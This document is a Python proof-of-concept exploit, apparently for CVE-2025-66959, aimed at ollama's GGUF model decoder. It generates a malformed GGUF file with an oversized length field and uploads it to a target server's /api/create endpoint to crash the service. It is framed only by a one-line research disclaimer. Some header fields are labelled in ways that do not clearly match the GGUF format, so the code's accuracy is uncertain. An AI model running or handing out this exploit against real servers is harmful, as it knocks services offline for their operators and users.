The following code is for security research and authorized testing only.
python
# CVE-2025-66959 PoC - GGUF Decoder DoS
# This PoC demonstrates the vulnerability in ollama's GGUF decoder
# The vulnerability allows a remote attacker to cause DoS via unchecked length in GGUF decoder copy
import requests
import struct
def create_malicious_gguf():
"""Generate a malicious GGUF file with invalid length fields"""
gguf_data = bytearray()
# GGUF magic number
gguf_data.extend(b'GGUF') # Magic
# Version (typically 3)
gguf_data.extend(struct.pack('<I', 3))
# TENSOR_COUNT - set to trigger vulnerability
gguf_data.extend(struct.pack('<Q', 1))
# DATA_SIZE - malicious large value
gguf_data.extend(struct.pack('<Q', 0xFFFFFFFFFFFFFFFF))
# Add more malformed data to trigger panic in decoder
gguf_data.extend(b'\x00' * 1024)
return bytes(gguf_data)
def exploit_ollama(target_url, gguf_file_path):
"""
Exploit function to trigger DoS in ollama GGUF decoder
"""
# Method 1: Upload malicious GGUF file via API
with open(gguf_file_path, 'wb') as f:
f.write(create_malicious_gguf())
# Upload to ollama
files = {'file': open(gguf_file_path, 'rb')}
try:
response = requests.post(
f'{target_url}/api/create',
files=files,
timeout=10
)
print(f'Response status: {response.status_code}')
except requests.exceptions.RequestException as e:
print(f'Request failed (expected): {e}')
# Usage example
if __name__ == '__main__':
target = 'http://target-ollama-server:11434'
exploit_ollama(target, 'malicious.gguf')
print('PoC executed - check if target service is still responsive')